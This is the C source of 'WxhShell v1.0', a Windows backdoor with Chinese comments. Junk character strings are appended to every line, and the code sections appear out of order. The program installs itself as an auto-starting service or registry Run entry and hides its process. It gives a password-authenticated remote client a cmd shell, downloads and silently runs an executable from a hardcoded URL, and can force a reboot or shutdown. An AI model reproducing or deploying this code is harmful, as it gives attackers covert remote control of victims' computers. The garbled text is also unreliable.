    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ='6@^6y  
    else { 3j2d&*0  
    closesocket(wsh); Ls'8  
    ExitThread(0); R'qBG(?i  
    } s){R/2O3F  
    break; q+ka}@  
    } )kIjZ  
  // 获取shell 3`Dyrj#!  
  case 's': { {7.uwIW.1  
    CmdShell(wsh); c=aVYQ"2  
    closesocket(wsh); ,.AXQ#~&`  
    ExitThread(0); ,15$$3z/E  
    break; zS '{F>w  
  } ! q+>'Mt  
  // 退出 ]CX^!n  
  case 'x': { zC`ediyu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e#@u&+K/f  
    CloseIt(wsh); irMBd8WG  
    break; Ct]? /  
    } j-v/;7s/B  
  // 离开 Sg1 ,9[pb  
  case 'q': { m}t`43}QE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q}uh`?t  
    closesocket(wsh); wsgT`M'J[  
    WSACleanup(); \~.elKw<U  
    exit(1); QB*n [(?  
    break; W?0u_F  
        } (I;lE*>  
  } A_+*b [P  
  } D0yH2[j+  
T#a6X;9P  
  // 提示信息 S"/gZfxer  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :Yn{:%p  
} \wV ?QH  
  } G{0f* cH)  
!J(6E:,b#  
  return; a> S -50  
} $YK~7!!  
~>$z1o&}.  
// shell模块句柄 BJjxy0+  
int CmdShell(SOCKET sock) |sBL(9  
{ 1~vv<`-  
STARTUPINFO si; ZVz*1]}  
ZeroMemory(&si,sizeof(si)); *}Rd%'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n"<'F4r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X [;n149o  
PROCESS_INFORMATION ProcessInfo; Tvw(S q};  
char cmdline[]="cmd"; \3whM6tK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0 gr#<(  
  return 0; c[EG cY={  
} h8P_/.+g|V  
4g?qKoc i  
// 自身启动模式 ,&jjp eZP  
int StartFromService(void) BG+X8t8\  
{ =6B I[_0  
typedef struct _#w5hX cu  
{ a]4|XJ_  
  DWORD ExitStatus; j2jUrl  
  DWORD PebBaseAddress; uKo4nXVtp  
  DWORD AffinityMask; mWuhXY^Q  
  DWORD BasePriority; D1EHT}  
  ULONG UniqueProcessId;  =h}PL22  
  ULONG InheritedFromUniqueProcessId; '>>@I~<\  
}   PROCESS_BASIC_INFORMATION; n;k B_i*l  
I bE Nq  
PROCNTQSIP NtQueryInformationProcess; w^/"j_p@  
;h#CT#R2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M \>5",0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `7'=~BP?X  
[H>/N7v19*  
  HANDLE             hProcess; Dm`gzGl  
  PROCESS_BASIC_INFORMATION pbi; J=ot& %  
fw0Z- 9*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N~B'gJJDx  
  if(NULL == hInst ) return 0; N}q*(r!q<  
r8!M8Sc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +N!/>w]n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |sDp>..  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sJ|IW0Mr  
7/BA!V(na  
  if (!NtQueryInformationProcess) return 0; 4<U6jB5  
@fd{5 >\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F=yE>[! LB  
  if(!hProcess) return 0; ~PCS_  
T7Yg^ -"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E5$uvxCI  
;MjOs&1f0K  
  CloseHandle(hProcess); fwaM;YN_  
,tuZ_"?M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;T WYO  
if(hProcess==NULL) return 0; 1JN/oq;  
%xt\|Lt  
HMODULE hMod; #K/#-S  
char procName[255]; Y'o.`':\~  
unsigned long cbNeeded; iD2>-yf  
hj[sxC>z5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xj21:IMR  
66cPoG  
  CloseHandle(hProcess); r5&?-G  
="]y^&(L(  
if(strstr(procName,"services")) return 1; // 以服务启动 9R4q^tGR\  
5<?/M<i  
  return 0; // 注册表启动 ]BBjFs4#  
} ]yA_N>k2K  
^X slj  
// 主模块 SMh[7lU`  
int StartWxhshell(LPSTR lpCmdLine) JP 8v2) p  
{ =JB1]b{|  
  SOCKET wsl; 1iE*-K%Q  
BOOL val=TRUE; k!m9 l1x  
  int port=0; K|-RAjE  
  struct sockaddr_in door; [E/8E h<  
eh$T 3_#q  
  if(wscfg.ws_autoins) Install(); q.PXO3T  
8 9f{8B]z  
port=atoi(lpCmdLine); x<{)xP+|  
`d:cq.OO  
if(port<=0) port=wscfg.ws_port; BmFs6{>~c  
n\H.NL)  
  WSADATA data; 7 *HBb-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D i #Em[  
o<%s\n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sxQMfbN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S31+ j:"  
  door.sin_family = AF_INET; G-sA)WOF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 84ma X'  
  door.sin_port = htons(port); k'+Mc%pg4E  
]}dAm S/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NeY,Of|  
closesocket(wsl); woR }=\K  
return 1; T13Jno  
} ;923^*\:F{  
>zB0+l  
  if(listen(wsl,2) == INVALID_SOCKET) { I?i,21:5  
closesocket(wsl); CT#N9  
return 1; X.!|#FWb+  
} e5fzV.'5  
  Wxhshell(wsl); $9O%,U@  
  WSACleanup(); :[7.YQ   
GFtE0IQ  
return 0; L<TL6  
_M7NL^B&  
} SiSx ym  
-pm^k-%v  
// 以NT服务方式启动 FBJ Lkg0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Po82nKAh  
{ 5R7DD5c[  
DWORD   status = 0; _ ?Z :m  
  DWORD   specificError = 0xfffffff; !RwOU Ck  
C8.MoFfhe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =qVD"Z]z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?]u=5gqUU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ' fP`ET5  
  serviceStatus.dwWin32ExitCode     = 0; 0CRk&_ht  
  serviceStatus.dwServiceSpecificExitCode = 0; ~b.e9FhdA  
  serviceStatus.dwCheckPoint       = 0; S4BU!  
  serviceStatus.dwWaitHint       = 0; w@ =Uf7  
Og~3eL[1%C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); au 5qbP  
  if (hServiceStatusHandle==0) return; ;p'Ej'E  
%{M&"Mv  
status = GetLastError(); :0RfA%  
  if (status!=NO_ERROR) U49 `!~b7  
{ 96 !e:TU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q%A.)1<'_  
    serviceStatus.dwCheckPoint       = 0; lGtTZ cg  
    serviceStatus.dwWaitHint       = 0; " )_-L8  
    serviceStatus.dwWin32ExitCode     = status; [boB4>.  
    serviceStatus.dwServiceSpecificExitCode = specificError; S^4T#/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p/!P kKJ  
    return; (}LLk +  
  } 5Mq7l$]h$  
z wJ Vi9sO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =HkB>w)h  
  serviceStatus.dwCheckPoint       = 0; x4vowF  
  serviceStatus.dwWaitHint       = 0; ..hD_k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _lj&}>l  
} :Pf2oQ  
l TRQ/B  
// 处理NT服务事件,比如:启动、停止 Zm!5X9^!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) csay\Q{  
{ k3B-;%3I;  
switch(fdwControl) ;J3 (EB  
{ )mw&e}jRV  
case SERVICE_CONTROL_STOP: !%4&O  
  serviceStatus.dwWin32ExitCode = 0; q k+(Ccl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }hv" ku6!  
  serviceStatus.dwCheckPoint   = 0; '+ cPx\4  
  serviceStatus.dwWaitHint     = 0; B#U:6Ty  
  { #$[}JiuL/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5?n@.hcL  
  }  rVo?I  
  return; m'i^BE  
case SERVICE_CONTROL_PAUSE: R59'KR2?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 52JtEt7E  
  break; #ig* !  
case SERVICE_CONTROL_CONTINUE: <^(g<B`>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &.}Z j*BD  
  break; Cs ND:m  
case SERVICE_CONTROL_INTERROGATE: .[KXO0Ui6u  
  break; {g(-C&  
}; c={bunnz#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x:O;Z~ |.  
} 7xmif YC  
#c:b8rw  
// 标准应用程序主函数 `vFYe N;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;<=B I!  
{ c _v;"QZ  
RIO4`,  
// 获取操作系统版本 5==}8<$  
OsIsNt=GetOsVer(); otgU6S7F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y.:Z:w6$  
%!i|"FNc  
  // 从命令行安装 EecV%E  
  if(strpbrk(lpCmdLine,"iI")) Install(); C{8d^SCA"  
x)<Hr,wd  
  // 下载执行文件 R~R?0aq  
if(wscfg.ws_downexe) { h#>%\Pvt;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <) ` ?s  
  WinExec(wscfg.ws_filenam,SW_HIDE); G*;6cV19  
} eJ23$VM+9  
Cg! ]x o  
if(!OsIsNt) { h NCoX*icd  
// 如果时win9x,隐藏进程并且设置为注册表启动 |NZVm}T  
HideProc(); \Y{^Q7!>:8  
StartWxhshell(lpCmdLine); f2"1^M  
} tM$w0Cj  
else (7qdrAeP  
  if(StartFromService()) #K3`$^0 s  
  // 以服务方式启动 >$yqx1=jW  
  StartServiceCtrlDispatcher(DispatchTable); DVWqrK}q  
else CI )89`  
  // 普通方式启动 k7gm)}RKcu  
  StartWxhshell(lpCmdLine); DJmT]Q]o)  
<+oTYPgD9  
return 0; 9a*}&fL[  
} @N-P[.qL"  
^<}eONa  
/M1 /  
/bd1Bi  
=========================================== LPNJuz  
_K?{DnTb  
8sG0HI$f+  
rI E m  
TvzqJ=  
1eZ759PoO  
" ;m+*R/  
Oa'DVfw2J  
#include <stdio.h> $# /-+>  
#include <string.h> |9F^"7Q~C  
#include <windows.h> w<ol$2&B  
#include <winsock2.h> / ao|v  
#include <winsvc.h> 2V 1|b`b#4  
#include <urlmon.h> BSGC.>$s  
yR Zb_Mq9U  
#pragma comment (lib, "Ws2_32.lib") tC,R^${#  
#pragma comment (lib, "urlmon.lib") 5IPZ;  
!Cpy )D(  
#define MAX_USER   100 // 最大客户端连接数 x@ZxV*T^  
#define BUF_SOCK   200 // sock buffer O7_u9lz2  
#define KEY_BUFF   255 // 输入 buffer R4V~+tnbG&  
v?U;o&L(  
#define REBOOT     0   // 重启 g(i_di  
#define SHUTDOWN   1   // 关机 i'$V'x'k  
VR@V3 ~  
#define DEF_PORT   5000 // 监听端口 {F/0pvP9  
E26zw9d  
#define REG_LEN     16   // 注册表键长度 Sl8A=Ez  
#define SVC_LEN     80   // NT服务名长度 h}k/okG  
NRM=0-16u$  
// 从dll定义API VoOh$&"M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \!erP!$x .  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $X9`~Sv _  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bk-veJR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P@m_tA%  
S<f]Y4A&  
// wxhshell配置信息 MrW#~S|ED  
struct WSCFG { d%y)/5  
  int ws_port;         // 监听端口 $fhb-c3  
  char ws_passstr[REG_LEN]; // 口令 r{V=)h  
  int ws_autoins;       // 安装标记, 1=yes 0=no %V+hm5Q  
  char ws_regname[REG_LEN]; // 注册表键名 <Oi65O_X  
  char ws_svcname[REG_LEN]; // 服务名 %q~YJ*\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e-Xr^@M*Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =peodj^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fr\"MP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H}R/_5g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fq@r6\TI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zJH#J=O  
ZB)`*z>*  
}; k_E Jg;(  
pQGlg[i2/  
// default Wxhshell configuration f(^? PGO  
struct WSCFG wscfg={DEF_PORT, xH\#:DLY  
    "xuhuanlingzhe", P;V$%r`yD  
    1, X#bK.WN$  
    "Wxhshell", 'UYxVh9D  
    "Wxhshell", k//l~A9m  
            "WxhShell Service", 4@b~)av)  
    "Wrsky Windows CmdShell Service", 3KyIBrdi?  
    "Please Input Your Password: ", +:a#+]g  
  1, =i4%KF9 x  
  "http://www.wrsky.com/wxhshell.exe", ig Q,ZY1  
  "Wxhshell.exe" >tmv3_<=  
    }; A)2eo<ij4  
3tO=   
// 消息定义模块 _M;n.?H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;.O#|Z[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xnuu#@f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e ej:  
char *msg_ws_ext="\n\rExit."; lo1<t<w`  
char *msg_ws_end="\n\rQuit."; D#=$? {w  
char *msg_ws_boot="\n\rReboot..."; }#u.Of`6"  
char *msg_ws_poff="\n\rShutdown...";  b6`_;Z  
char *msg_ws_down="\n\rSave to "; !CBvFl/v  
Oy,7>vWQI  
char *msg_ws_err="\n\rErr!"; g[D(]t\#x  
char *msg_ws_ok="\n\rOK!"; Y<4%4>a  
-x~4@~  
char ExeFile[MAX_PATH]; W E-cq1)  
int nUser = 0; s?fO)7ly  
HANDLE handles[MAX_USER]; u<VR;p:y  
int OsIsNt; k10g %K4g  
~rUcko8  
SERVICE_STATUS       serviceStatus; 5^,"Ve|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G^G= .9O  
)p$a1\ ~m  
// 函数声明 I@$cw3  
int Install(void); \E(Negt7  
int Uninstall(void); ` XvuyH  
int DownloadFile(char *sURL, SOCKET wsh); n=z=%T6  
int Boot(int flag); $s2Y,0>I6  
void HideProc(void); UA BaS(f3  
int GetOsVer(void); W> +/N4  
int Wxhshell(SOCKET wsl); ^^9O9]  
void TalkWithClient(void *cs); !-cO 0c!  
int CmdShell(SOCKET sock); ,ln=kj  
int StartFromService(void); DOsQVdH  
int StartWxhshell(LPSTR lpCmdLine); T{A_]2 G  
tdCD!rV`{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aUGRFK_6$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E*sQ|" g  
jc$gy`,F  
// 数据结构和表定义 "^Ax}Jr  
SERVICE_TABLE_ENTRY DispatchTable[] = ajy +%sXf=  
{ !OCb^y  
{wscfg.ws_svcname, NTServiceMain}, \CY_nn|&g  
{NULL, NULL} ujLz<5gKuO  
}; !kTI@103Wd  
)K.'sX{B  
// 自我安装 8]`LRzM  
int Install(void) ?2q;`Nb  
{ PnUYL.v  
  char svExeFile[MAX_PATH]; 8l50@c4UF~  
  HKEY key; 3pk=c-x  
  strcpy(svExeFile,ExeFile); `W*b?e| H1  
N wISf  
// 如果是win9x系统,修改注册表设为自启动 i$z).S?1  
if(!OsIsNt) { ^$D2fS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "PK`Ca@`v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ft[)m#Dj`  
  RegCloseKey(key); l0v]+>1i:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ag82tDL[u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * NB:"1x  
  RegCloseKey(key); G-DvM6T  
  return 0; !W4X4@  
    } @V7HxW7RX  
  } Edp%z"J;C  
} ,&q Q[i  
else { "!AbH<M;@  
%3@a|#g  
// 如果是NT以上系统,安装为系统服务  |Ok=aV7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oIJ.Tv@N(  
if (schSCManager!=0) < %t$0'  
{ V6CRl&ZKO  
  SC_HANDLE schService = CreateService &^I2NpT  
  ( \7d T]VV  
  schSCManager, $q%l)]+  
  wscfg.ws_svcname, hmG^l4B.T  
  wscfg.ws_svcdisp, 7rZE7+%]  
  SERVICE_ALL_ACCESS, 'KU)]v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sT<XZLu  
  SERVICE_AUTO_START, /7o{%~O  
  SERVICE_ERROR_NORMAL, 9R1S20O  
  svExeFile, u&npUw^Va  
  NULL, p(8[n^~,i  
  NULL, "%?$BoJR0  
  NULL, S_|VlI  
  NULL, g{U?Y"  
  NULL }u `~lw(Z  
  ); ;+Mee ^E>!  
  if (schService!=0) % k}+t3aF  
  { X%lk] &2  
  CloseServiceHandle(schService); )_H>d<di  
  CloseServiceHandle(schSCManager); s~)I1G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +*')0I  
  strcat(svExeFile,wscfg.ws_svcname); .zQ'}H1.C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'k1vV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .}4^b\   
  RegCloseKey(key); lI&5.,2MP  
  return 0; ro8c-[V  
    } TEEt]R-y  
  } ndE"v"_H  
  CloseServiceHandle(schSCManager); LV6BSQyQ  
} \5q0nB@i5y  
} h)o5j-M>4  
G,,7.%eib=  
return 1; a?NoNv)&  
} iYR`|PJi  
6z3`*B  
// 自我卸载 }[O/u <Z  
int Uninstall(void) c) q'" r  
{ -NL=^O$G  
  HKEY key; y/\0qQ/  
P6 ~& ,a  
if(!OsIsNt) { 4^u wZ:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )"sJaHx<  
  RegDeleteValue(key,wscfg.ws_regname); G>?'b  
  RegCloseKey(key); zAA3bgaa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i[r>^U8O  
  RegDeleteValue(key,wscfg.ws_regname); BHrNDpv  
  RegCloseKey(key); &XF@Dvv  
  return 0; |-zefzD|  
  } {@*l,[,5-  
} tg#d.(  
} Y3M"a8e'  
else { 9'I$8Su  
RkTO5XO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M WHzrqCA  
if (schSCManager!=0) ZhnRsn9  
{ FrL ;1zt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #_9Jam%M  
  if (schService!=0) 9X ^D(  
  { [qHtN.  
  if(DeleteService(schService)!=0) { N&YQZ^o  
  CloseServiceHandle(schService); E!]d?t3b  
  CloseServiceHandle(schSCManager); ;]I~AGH:  
  return 0; dkI(&/  
  } d:GAa   
  CloseServiceHandle(schService); m1{OaHxKh  
  } 7Pp~)Kq=  
  CloseServiceHandle(schSCManager); b[;Zl<  
} Bm:N@wg  
} 'M=c-{f~  
skzTw66W.  
return 1; mJFFst,  
} 96 P3B}Dk  
~z&Ho  
// 从指定url下载文件 9{Xh wi)z  
int DownloadFile(char *sURL, SOCKET wsh) $geDB~ 2>  
{ Q~#[_Upkc  
  HRESULT hr; wU(N<9  
char seps[]= "/"; _]q%Hve  
char *token; =CGB}qU l0  
char *file; em, j>qp  
char myURL[MAX_PATH]; ]<<+#Rg  
char myFILE[MAX_PATH]; > a"4aYj  
VU ,tCTXz  
strcpy(myURL,sURL); ("T8mt[w>  
  token=strtok(myURL,seps); 6,j&u7  
  while(token!=NULL) Hr/3nq}.  
  { AiOz1Er  
    file=token; 68YJ@(iS  
  token=strtok(NULL,seps); y>iote~  
  } ^,,lo<d_L  
_ H$^m#h  
GetCurrentDirectory(MAX_PATH,myFILE); y1*z," dx  
strcat(myFILE, "\\"); GkYD:o=qx  
strcat(myFILE, file); `bMwt?[*  
  send(wsh,myFILE,strlen(myFILE),0); S/H!a:_5r  
send(wsh,"...",3,0); 'X]m y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @;T?R  
  if(hr==S_OK) <cx,Z5W  
return 0; :d`8:gv?  
else KGq4tlM6  
return 1; Xw<5VIAHm;  
3^%sz!jK+  
} 3!<} -sW4  
|@lVFEl]  
// 系统电源模块 > qDHb'  
int Boot(int flag) z;KUIWg  
{ ;DN:AgXP  
  HANDLE hToken; OK1f Y`$z  
  TOKEN_PRIVILEGES tkp; /&Vgo ~.J  
a"|\n_  
  if(OsIsNt) { u*C"d1v=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `<x|< ey  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ab-MEN`5  
    tkp.PrivilegeCount = 1; sXmo.{Ayb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |= U(8t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /@~&zx&_  
if(flag==REBOOT) { y+D"LeCAad  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j6.'7f5M<H  
  return 0; PdNxuy  
} $v*0 \O  
else { 3NA G}S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5q>u]n9]  
  return 0; Z d]2>h  
} |Je+y;P7  
  } M_monj}Z  
  else { eOI#T'5  
if(flag==REBOOT) {  cojbuo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) my(yN|  
  return 0; 9b}AZ]$  
} xB&6f")  
else { .wv!;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JHCV7$RS  
  return 0; lS:R##  
} B>TI dQ  
} . 7EZB  
Y =BXV7\  
return 1; af WEt -  
} oL 69w1  
UW/{q`)  
// win9x进程隐藏模块 7Yjxx+X9  
void HideProc(void) 05>xQx?"m4  
{ Y><")%Q  
1>1ii  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *;I F^u1  
  if ( hKernel != NULL ) 7L=V{,,v  
  { e2xqK G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _U@;Z*(%vh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >=Z@)PAe  
    FreeLibrary(hKernel); l .wf= /  
  } 4{1 .[##]o  
;PrL)!  
return; ^"Nsb&  
} 1q[vNP=g&  
+^6v%z  
// 获取操作系统版本 W%k0_Y/5  
int GetOsVer(void) P=jbr"5Q:  
{ U2(|/M+  
  OSVERSIONINFO winfo; dGb]`*E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c*"TmDY  
  GetVersionEx(&winfo); s3LR6Z7;i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E*t0ia8  
  return 1; &_!g|-  
  else 2\,vq R  
  return 0; 5E#koy7 $s  
} fWBI}~e  
tR]1c  
// 客户端句柄模块 # Y*cLN`Y7  
int Wxhshell(SOCKET wsl) jSj (ZU6  
{ ZoiCdXvTN  
  SOCKET wsh;  9g*MBe:  
  struct sockaddr_in client; R{"7q:-  
  DWORD myID; W]v[Xm$q  
Je6=N3)  
  while(nUser<MAX_USER) oV c l (  
{ )n[ oP%  
  int nSize=sizeof(client); GAlAFsB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N!e?K=}tL  
  if(wsh==INVALID_SOCKET) return 1; Dl#%tYL+3h  
Odo"S;)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -;?5<>zZ  
if(handles[nUser]==0) w]{NaNIeq1  
  closesocket(wsh); }0({c~z\  
else I2!0,1Q  
  nUser++; Yz?1]<X  
  } 1/bu}?a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :K3nJ1G&  
c9dH ^t  
  return 0; E!4Qc+.   
} Q1Jkt  
:q2tda  
// 关闭 socket ,cvLvN8  
void CloseIt(SOCKET wsh) gJy Ft8Z<  
{ tzxp0&:Z].  
closesocket(wsh); gJVakR&  
nUser--; T1y,L<7?  
ExitThread(0); ]x hmM1$  
} 2wWL]`(E  
CMIjc(m  
// 客户端请求句柄 COw]1 R  
void TalkWithClient(void *cs) 9 GdrJ~h  
{ S!GjCog^J  
'U)|m  
  SOCKET wsh=(SOCKET)cs; #pxc6W /  
  char pwd[SVC_LEN]; @5%cP  
  char cmd[KEY_BUFF]; !P, 9Sg&5)  
char chr[1]; <:u)C;  
int i,j; _[SP*" ]H  
N.q4Ar[x#p  
  while (nUser < MAX_USER) { c?0uv2*Yh  
3986;>v  
if(wscfg.ws_passstr) { 6dh@DG*k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #EpDIL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N b(f  
  //ZeroMemory(pwd,KEY_BUFF); &/J[PdSb$  
      i=0; mmXLGLMd  
  while(i<SVC_LEN) { |n;gGR\  
YZCPS6PuE  
  // 设置超时 -K`0`n}  
  fd_set FdRead; NA`3   
  struct timeval TimeOut; P'D~Y#^  
  FD_ZERO(&FdRead); Y"mD)\Bw?  
  FD_SET(wsh,&FdRead); ,>%AEN6N2  
  TimeOut.tv_sec=8; 3:a}<^DuCS  
  TimeOut.tv_usec=0;  ]D7z&h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B{W2D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oOuhbFu  
P Z-|W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Hu Qc^  
  pwd=chr[0]; _[V.%k  
  if(chr[0]==0xd || chr[0]==0xa) { Uq/(xh,t5  
  pwd=0; [?BmW {*u.  
  break; 2I:vie  
  } b9(d@2MtK  
  i++; Y#c11q Z  
    } E~zLhJTUL'  
IPcAE!h6zN  
  // 如果是非法用户,关闭 socket k 6~k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :&`Yz   
} c3|;'s  
yov:JnWo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [^W4%S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J1"u,HF*(  
"2CiW6X[M  
while(1) { ?|+bM`  
CS cM;U=  
  ZeroMemory(cmd,KEY_BUFF);  'TV^0D"  
qkv.,z"  
      // 自动支持客户端 telnet标准   pi5Al)0  
  j=0; SGH"m/ e  
  while(j<KEY_BUFF) { ?M7nbfy[A@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V0L^pDLOV  
  cmd[j]=chr[0]; "8Pxf=   
  if(chr[0]==0xa || chr[0]==0xd) { `NV =2T  
  cmd[j]=0; <P( K,L?r  
  break; LaJc;Jt$  
  } G`w,$:,  
  j++; E]_lYYkA  
    } uavts9v<  
?4q6>ipx  
  // 下载文件 96vv85g  
  if(strstr(cmd,"http://")) { 3OFv_<6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B l'  
  if(DownloadFile(cmd,wsh)) S'Q$N-Dy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y_%\kM?7  
  else AY0o0\6cw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P _Zf(`jJ  
  } kOR%<#:J  
  else { 8pDJz_F!{  
.Rc&EO  
    switch(cmd[0]) { [O [ N_z  
  "SyyOD )WA  
